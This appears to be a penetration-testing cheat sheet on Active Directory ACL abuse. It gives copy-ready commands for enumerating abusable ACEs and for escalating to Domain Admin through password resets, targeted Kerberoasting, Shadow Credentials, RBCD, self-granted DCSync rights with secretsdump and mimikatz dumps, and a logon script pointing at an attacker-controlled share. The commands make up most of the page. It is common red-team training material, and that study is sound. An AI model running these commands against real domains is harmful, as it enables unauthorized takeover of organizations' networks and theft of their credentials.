ACL Abuse
Enumerate and exploit abusable ACEs in Active Directory. GenericAll, WriteDACL, WriteOwner, GenericWrite, ForceChangePassword, targeted Kerberoasting, Shadow Credentials, and RBCD via ACL misconfigurations.
Sections ACL Abuse
You have a low-privilege domain account and want to escalate through ACL misconfigurations. Every AD object has a security descriptor with a DACL (Discretionary Access Control List). When admins delegate permissions carelessly or tools like Exchange set overly broad ACEs, you get privilege escalation paths that do not require any exploits.
ACL Enumeration
BloodHound (Best Approach)
BloodHound visualizes ACL relationships across the entire domain. Run a collection, ingest the data, and query for abusable edges.
# Collect ACL data from Linux
root@localhost:~# bloodhound-python -u svc_backup -p 'P@ssw0rd123' -d corp.local -dc dc01.corp.local -c acl,objectprops,group --zip
# Key Cypher queries after ingestion
# Find outbound ACL edges from your user
MATCH p=(u:User {name:'SVC_BACKUP@CORP.LOCAL'})-[:GenericAll|GenericWrite|WriteDacl|WriteOwner|ForceChangePassword|Owns|AddMember|AllExtendedRights*1..]->(target) RETURN p
# Find all GenericAll edges
MATCH p=(n)-[:GenericAll]->(m) RETURN p
# Find shortest ACL-based path to Domain Admins
MATCH p=shortestPath((u:User {name:'SVC_BACKUP@CORP.LOCAL'})-[:GenericAll|GenericWrite|WriteDacl|WriteOwner|ForceChangePassword|Owns|AddMember|AllExtendedRights*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'})) RETURN p
PowerView
# Find all interesting ACEs in the domain
PS C:\> Find-InterestingDomainAcl -ResolveGUIDs | Select-Object ObjectDN, ActiveDirectoryRights, IdentityReferenceName, SecurityIdentifier
# ACEs for a specific principal
PS C:\> Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {$_.IdentityReferenceName -eq "svc_backup"}
# ACEs on a specific object
PS C:\> Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner|GenericWrite"} | Select-Object AceType, ActiveDirectoryRights, IdentityReferenceName
# ACEs where Domain Users have dangerous rights
PS C:\> Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {$_.IdentityReferenceName -eq "Domain Users" -and $_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteDacl|WriteOwner"}
dacledit (Impacket)
# Read ACL on a specific target
root@localhost:~# impacket-dacledit corp.local/svc_backup:'P@ssw0rd123' -dc-ip 10.10.11.35 -target svc_sql -action read
# Filter for a specific principal
root@localhost:~# impacket-dacledit corp.local/svc_backup:'P@ssw0rd123' -dc-ip 10.10.11.35 -target svc_sql -action read -principal svc_backup
# Read ACL on the domain object (check for DCSync rights)
root@localhost:~# impacket-dacledit corp.local/svc_backup:'P@ssw0rd123' -dc-ip 10.10.11.35 -target 'DC=corp,DC=local' -action read
Native PowerShell (No Tools)
# Read ACL on a specific user
PS C:\> $dn = (Get-ADUser svc_sql).DistinguishedName
PS C:\> (Get-Acl "AD:$dn").Access | Where-Object {$_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner|WriteProperty|ExtendedRight"} | Select-Object IdentityReference, ActiveDirectoryRights, ObjectType, InheritedObjectType
# Read ACL on the domain object
PS C:\> (Get-Acl "AD:DC=corp,DC=local").Access | Select-Object IdentityReference, ActiveDirectoryRights, ObjectType
GenericAll
Full control over the target object. You can reset passwords, modify group membership, set SPNs, write msDS-AllowedToActOnBehalfOfOtherIdentity, anything.
On a User
# Option 1: Reset the user's password
bloodyAD -d corp.local -u svc_backup -p 'P@ssw0rd123' --host 10.10.11.35 set password svc_sql 'NewP@ssw0rd456'
# Option 2: Targeted Kerberoasting (set SPN, roast, remove SPN)
bloodyAD -d corp.local -u svc_backup -p 'P@ssw0rd123' --host 10.10.11.35 set object svc_sql servicePrincipalName -v "MSSQLSvc/fake.corp.local:1433"
impacket-GetUserSPNs corp.local/svc_backup:'P@ssw0rd123' -dc-ip 10.10.11.35 -request -outputfile targeted.txt
bloodyAD -d corp.local -u svc_backup -p 'P@ssw0rd123' --host 10.10.11.35 set object svc_sql servicePrincipalName
# Option 3: Shadow Credentials
certipy shadow auto -u svc_backup@corp.local -p 'P@ssw0rd123' -target svc_sql -dc-ip 10.10.11.35
# Reset password
PS C:\> Set-ADAccountPassword -Identity svc_sql -Reset -NewPassword (ConvertTo-SecureString 'NewP@ssw0rd456' -AsPlainText -Force)
# Set SPN for targeted Kerberoasting
PS C:\> Set-ADUser -Identity svc_sql -ServicePrincipalNames @{Add="MSSQLSvc/fake.corp.local:1433"}
PS C:\> .\Rubeus.exe kerberoast /user:svc_sql /outfile:C:\Temp\targeted.txt
PS C:\> Set-ADUser -Identity svc_sql -ServicePrincipalNames @{Remove="MSSQLSvc/fake.corp.local:1433"}
On a Group
# Add yourself to the group
bloodyAD -d corp.local -u svc_backup -p 'P@ssw0rd123' --host 10.10.11.35 add groupMember "Domain Admins" svc_backup
# Or via net rpc
impacket-net rpc group addmem "Domain Admins" svc_backup -U corp.local/svc_backup:'P@ssw0rd123' -S 10.10.11.35
PS C:\> Add-ADGroupMember -Identity "Domain Admins" -Members svc_backup
PS C:\> net group "Domain Admins" svc_backup /add /domain
On a Computer
# Set RBCD (delegate from a machine you control)
root@localhost:~# impacket-rbcd corp.local/svc_backup:'P@ssw0rd123' -dc-ip 10.10.11.35 -action write -delegate-from 'EVILPC$' -delegate-to 'ws01$'
# Shadow Credentials on a computer
root@localhost:~# certipy shadow auto -u svc_backup@corp.local -p 'P@ssw0rd123' -target 'ws01$' -dc-ip 10.10.11.35
GenericWrite
Write to any non-protected attribute on the target. Cannot reset passwords directly, but can set SPNs, write msDS-KeyCredentialLink (Shadow Credentials), and write msDS-AllowedToActOnBehalfOfOtherIdentity (RBCD).
Exploitation Paths
# Targeted Kerberoasting (write SPN)
root@localhost:~# bloodyAD -d corp.local -u svc_backup -p 'P@ssw0rd123' --host 10.10.11.35 set object targetuser servicePrincipalName -v "MSSQLSvc/fake.corp.local:1433"
root@localhost:~# impacket-GetUserSPNs corp.local/svc_backup:'P@ssw0rd123' -dc-ip 10.10.11.35 -request
# Shadow Credentials (write msDS-KeyCredentialLink)
root@localhost:~# python3 pywhisker.py -d corp.local -u svc_backup -p 'P@ssw0rd123' --target targetuser --action add --dc-ip 10.10.11.35
# Or
root@localhost:~# certipy shadow auto -u svc_backup@corp.local -p 'P@ssw0rd123' -target targetuser -dc-ip 10.10.11.35
# RBCD (write msDS-AllowedToActOnBehalfOfOtherIdentity on a computer)
root@localhost:~# impacket-rbcd corp.local/svc_backup:'P@ssw0rd123' -dc-ip 10.10.11.35 -action write -delegate-from 'EVILPC$' -delegate-to 'ws01$'
# Set logon script (runs at user logon)
root@localhost:~# bloodyAD -d corp.local -u svc_backup -p 'P@ssw0rd123' --host 10.10.11.35 set object targetuser scriptPath -v "\\10.10.14.5\share\evil.bat"
WriteDACL
Modify the DACL on the target object. Grant yourself GenericAll, then do anything.
# Grant yourself GenericAll on the target
impacket-dacledit corp.local/svc_backup:'P@ssw0rd123' -dc-ip 10.10.11.35 -target svc_sql -principal svc_backup -rights FullControl -action write
# Now you have GenericAll - use any technique from the GenericAll section above
# Grant yourself DCSync rights on the domain object
impacket-dacledit corp.local/svc_backup:'P@ssw0rd123' -dc-ip 10.10.11.35 -target-dn "DC=corp,DC=local" -principal svc_backup -rights DCSync -action write
impacket-secretsdump corp.local/svc_backup:'P@ssw0rd123'@10.10.11.35 -just-dc
# PowerView - grant GenericAll
PS C:\> Add-DomainObjectAcl -TargetIdentity svc_sql -PrincipalIdentity svc_backup -Rights All
# Grant DCSync rights
PS C:\> Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity svc_backup -Rights DCSync
PS C:\> .\mimikatz.exe "lsadump::dcsync /domain:corp.local /all /csv" "exit"
WriteOwner
Change the owner of the target object. The owner has implicit WriteDACL, so changing ownership lets you then modify the DACL and grant yourself full control.
# Change the owner to your user
impacket-owneredit corp.local/svc_backup:'P@ssw0rd123' -dc-ip 10.10.11.35 -target svc_sql -new-owner svc_backup -action write
# bloodyAD
bloodyAD -d corp.local -u svc_backup -p 'P@ssw0rd123' --host 10.10.11.35 set owner svc_sql svc_backup
# Now grant yourself GenericAll via WriteDACL (owner has implicit WriteDACL)
impacket-dacledit corp.local/svc_backup:'P@ssw0rd123' -dc-ip 10.10.11.35 -target svc_sql -principal svc_backup -rights FullControl -action write
# PowerView
PS C:\> Set-DomainObjectOwner -Identity svc_sql -OwnerIdentity svc_backup
PS C:\> Add-DomainObjectAcl -TargetIdentity svc_sql -PrincipalIdentity svc_backup -Rights All
ForceChangePassword
Reset a user’s password without knowing the current password. This is a specific extended right (not the same as GenericAll).
# bloodyAD
bloodyAD -d corp.local -u svc_backup -p 'P@ssw0rd123' --host 10.10.11.35 set password svc_sql 'NewP@ssw0rd456'
# rpcclient
rpcclient -U 'corp.local/svc_backup%P@ssw0rd123' 10.10.11.35 -c "setuserinfo2 svc_sql 23 'NewP@ssw0rd456'"
# Impacket changepasswd
impacket-changepasswd corp.local/svc_sql@10.10.11.35 -newpass 'NewP@ssw0rd456' -reset -altuser svc_backup -altpass 'P@ssw0rd123'
PS C:\> Set-ADAccountPassword -Identity svc_sql -Reset -NewPassword (ConvertTo-SecureString 'NewP@ssw0rd456' -AsPlainText -Force)
# net.exe
PS C:\> net user svc_sql NewP@ssw0rd456 /domain
Shadow Credentials (msDS-KeyCredentialLink)
If you can write to a target’s msDS-KeyCredentialLink attribute, you can add a key credential that lets you authenticate as that user via PKINIT without knowing their password.
# pywhisker - add a key credential
root@localhost:~# python3 pywhisker.py -d corp.local -u svc_backup -p 'P@ssw0rd123' --target svc_sql --action add --dc-ip 10.10.11.35
# Certipy shadow auto (handles everything: add key, PKINIT auth, get NT hash)
root@localhost:~# certipy shadow auto -u svc_backup@corp.local -p 'P@ssw0rd123' -target svc_sql -dc-ip 10.10.11.35
# List existing key credentials
root@localhost:~# python3 pywhisker.py -d corp.local -u svc_backup -p 'P@ssw0rd123' --target svc_sql --action list --dc-ip 10.10.11.35
# Remove a key credential (cleanup)
root@localhost:~# python3 pywhisker.py -d corp.local -u svc_backup -p 'P@ssw0rd123' --target svc_sql --action remove --device-id <device-id> --dc-ip 10.10.11.35
certipy find.WriteProperty on Specific Attributes
Sometimes you do not have full GenericWrite, but you have WriteProperty on a specific attribute. The exploitation depends on which attribute you can write to.
| Writable Attribute | Exploitation Path |
|---|---|
servicePrincipalName |
Targeted Kerberoasting |
member (on a group) |
Add yourself or another user to the group |
msDS-AllowedToActOnBehalfOfOtherIdentity |
Set RBCD |
msDS-KeyCredentialLink |
Shadow Credentials |
scriptPath |
Set logon script to your payload |
userAccountControl |
Set DONT_REQ_PREAUTH for AS-REP roasting |
ACL Attack Chains
Real-world escalation rarely involves a single ACE. You usually chain multiple ACL abuses together.
Enumerate ACLs
First Hop: WriteDACL on a Group
Second Hop: GenericAll on a User
Third Hop: GenericWrite on Domain Object
Cleanup
ACL Abuse Quick Reference
| ACE Right | Best Exploitation | Tools |
|---|---|---|
| GenericAll (User) | Shadow Credentials or password reset | certipy, bloodyAD, pywhisker |
| GenericAll (Group) | Add member | bloodyAD, net group, Add-ADGroupMember |
| GenericAll (Computer) | RBCD or Shadow Credentials | impacket-rbcd, certipy shadow |
| GenericWrite (User) | Targeted Kerberoasting or Shadow Creds | bloodyAD, pywhisker |
| GenericWrite (Computer) | RBCD | impacket-rbcd |
| WriteDACL | Grant yourself GenericAll or DCSync | impacket-dacledit, PowerView |
| WriteOwner | Take ownership, then WriteDACL | impacket-owneredit, bloodyAD |
| ForceChangePassword | Reset password | bloodyAD, rpcclient |
| WriteProperty (member) | Add member to group | bloodyAD, ldapmodify |
| WriteProperty (SPN) | Targeted Kerberoasting | Set-ADUser, bloodyAD |
| AllExtendedRights | ForceChangePassword + read LAPS | Multiple tools |